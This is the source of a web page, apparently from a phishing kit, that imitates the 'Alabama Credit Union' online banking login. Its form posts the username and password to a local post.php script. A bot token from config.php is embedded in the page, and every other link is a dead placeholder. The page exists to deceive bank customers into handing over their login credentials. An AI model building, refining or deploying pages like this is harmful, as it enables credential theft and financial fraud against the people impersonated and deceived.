<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Alabama Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:      #CD1F43;
            --red-dark: #a8192f;
            --blue:     #18273A;
            --blue-mid: #243750;
            --text:     #1a1a1a;
            --text-sub: #555;
            --border:   #dde0e6;
            --offwhite: #f7f8fa;
            --white:    #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--white); }

        /* ── UTILITY BAR ─────────────────────────────── */
        .utility-bar {
            background: #f0f0f0;
            border-bottom: 1px solid #ddd;
            padding: 7px 40px;
            display: flex; align-items: center; justify-content: flex-end; gap: 20px;
        }
        .utility-bar a { font-size: 12.5px; color: var(--text-sub); text-decoration: none; transition: color 0.15s; }
        .utility-bar a:hover { color: var(--blue); }
        .btn-help {
            background: var(--red); color: #fff;
            border: none; border-radius: 20px;
            padding: 5px 14px; font-family: 'Inter', sans-serif;
            font-size: 12px; font-weight: 600; cursor: pointer;
        }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 40px;
            display: flex; align-items: center; justify-content: space-between;
            height: 72px;
            border-bottom: 1px solid #eee;
            position: relative; z-index: 100;
        }
        .nav-logo img { height: 52px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; gap: 2px; }
        .nav-links a {
            font-size: 13.5px; font-weight: 500; color: var(--text);
            text-decoration: none; padding: 8px 13px; border-radius: 4px;
            transition: color 0.15s, background 0.15s;
        }
        .nav-links a:hover { color: var(--red); background: #fdf0f3; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative;
            min-height: 560px;
            display: flex; align-items: center; justify-content: space-between;
            overflow: hidden;
            padding: 0 60px;
        }
        /* Background photo */
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            z-index: 0;
        }
        /* Dark uniform overlay matching reference */
        .hero-overlay {
            position: absolute; inset: 0;
            background: rgba(24,39,58,0.72);
            z-index: 1;
        }

        /* Hero left content */
        .hero-content {
            position: relative; z-index: 2;
            max-width: 560px;
        }
        .hero-accent {
            display: flex; align-items: center; gap: 6px;
            margin-bottom: 14px;
        }
        .hero-slash { color: var(--red); font-size: 28px; font-weight: 900; letter-spacing: -4px; line-height: 1; }
        .hero-content h1 {
            font-size: clamp(32px, 3.5vw, 52px);
            font-weight: 700; color: #fff;
            line-height: 1.15; margin-bottom: 14px;
        }
        .hero-content p { font-size: 18px; color: rgba(255,255,255,0.88); margin-bottom: 32px; line-height: 1.5; font-weight: 400; }
        .btn-hero {
            background: var(--red); color: #fff;
            border: none; border-radius: 24px;
            padding: 13px 30px; font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 600; cursor: pointer;
            display: inline-block; text-decoration: none;
            transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-hero:hover { background: var(--red-dark); box-shadow: 0 4px 16px rgba(205,31,67,0.4); }

        /* ── LOGIN CARD — centered right side ── */
        .login-card-wrap {
            position: relative; z-index: 2;
            flex-shrink: 0;
        }
        .login-card {
            background: #fff;
            width: 340px;
            border-radius: 12px;
            padding: 32px 30px 28px;
            box-shadow: 0 12px 50px rgba(0,0,0,0.3);
            animation: cardIn 0.45s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(18px); } to { opacity: 1; transform: translateY(0); } }

        .card-title { font-size: 18px; font-weight: 700; color: var(--blue); text-align: center; margin-bottom: 20px; }

        .field { margin-bottom: 12px; }
        .field input {
            width: 100%; height: 46px; padding: 0 14px;
            border: 1.5px solid #e0e0e0; border-radius: 8px;
            font-family: 'Inter', sans-serif; font-size: 14px;
            color: var(--text); background: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #aab; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px rgba(205,31,67,0.1); }

        .btn-login {
            width: 100%; height: 46px;
            background: var(--red); color: #fff;
            border: none; border-radius: 8px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 700;
            cursor: pointer; margin-bottom: 16px; margin-top: 4px;
            letter-spacing: 0.04em; text-transform: uppercase;
            transition: background 0.15s, box-shadow 0.15s;
        }
        .btn-login:hover { background: var(--red-dark); box-shadow: 0 4px 14px rgba(205,31,67,0.35); }

        .card-footer-links { display: flex; align-items: center; justify-content: center; gap: 6px; font-size: 12.5px; color: var(--text-sub); }
        .card-footer-links a { color: var(--text-sub); text-decoration: none; }
        .card-footer-links a:hover { color: var(--red); text-decoration: underline; }
        .card-footer-links span { color: #ccc; }

        /* ── SEARCH BAR ──────────────────────────────── */
        .search-bar {
            background: rgba(20,32,48,0.88);
            padding: 22px 60px;
            display: flex; align-items: center; justify-content: center; gap: 0;
        }
        .search-pill {
            display: flex; align-items: center;
            background: var(--red); border-radius: 36px;
            overflow: hidden; height: 54px;
            max-width: 700px; width: 100%;
            box-shadow: 0 4px 20px rgba(0,0,0,0.2);
        }
        .search-label { font-size: 15px; font-weight: 600; color: #fff; white-space: nowrap; padding: 0 20px 0 28px; }
        .search-inner-input {
            flex: 1; height: 38px;
            background: #fff; border-radius: 28px;
            display: flex; align-items: center;
            margin: 0 6px;
        }
        .search-inner-input input {
            flex: 1; height: 100%; padding: 0 18px;
            border: none; outline: none; font-family: 'Inter', sans-serif;
            font-size: 14px; color: var(--text); background: transparent;
            border-radius: 28px;
        }
        .search-inner-input input::placeholder { color: #aab; }
        .search-btn {
            height: 40px; padding: 0 24px; margin-right: 7px;
            background: var(--blue); color: #fff; border: none;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            cursor: pointer; transition: background 0.15s; white-space: nowrap;
            border-radius: 28px;
        }
        .search-btn:hover { background: var(--blue-mid); }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--blue); padding: 20px 40px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.35); }

        @media (max-width: 900px) { .nav-links { display: none; } .main-nav { padding: 0 20px; } .hero { flex-direction: column; align-items: center; min-height: auto; padding: 40px 24px; gap: 32px; } .hero-content { max-width: 100%; } .login-card { width: 100%; } .search-bar { padding: 16px 24px; } }
        @media (max-width: 500px) { .utility-bar { padding: 6px 16px; gap: 12px; } .login-card { width: 100%; } }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Make Payment</a>
        <a href="#">Schedule Appointment</a>
        <a href="#">Rates</a>
        <button class="btn-help">Help Center</button>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Alabama Credit Union"></div>
        <div class="nav-links">
            <a href="#">Checking</a>
            <a href="#">Savings</a>
            <a href="#">Business</a>
            <a href="#">Lending</a>
            <a href="#">Financial Education</a>
            <a href="#">Resources</a>
            <a href="#">Who We Are</a>
            <a href="#">Promotions</a>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>

        <div class="hero-content">
            <div class="hero-accent">
                <span class="hero-slash">///</span>
            </div>
            <h1>Celebrating 70<br>Years of Service</h1>
            <p>Join Us For Our Annual Meeting</p>
            <a href="#" class="btn-hero">Learn More</a>
        </div>

        <!-- Login Card -->
        <div class="login-card-wrap">
            <div class="login-card">
                <div class="card-title">Online Banking</div>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="field">
                        <input type="text" name="user" required placeholder="Username" autocomplete="username">
                    </div>
                    <div class="field">
                        <input type="password" name="pass" required placeholder="Password" autocomplete="current-password">
                    </div>
                    <button type="submit" class="btn-login">ACU Secure Login</button>
                    <div class="card-footer-links">
                        <a href="#">Forgot Your Password</a>
                        <span>|</span>
                        <a href="#">Register</a>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <!-- Search Bar -->
    <div class="search-bar">
        <div class="search-pill">
            <span class="search-label">I'm looking for</span>
            <div class="search-inner-input">
                <input type="text" placeholder="Keyword">
            </div>
            <button class="search-btn">Search</button>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Alabama Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

<script src="./res/jq.js"></script>
</body>
</html>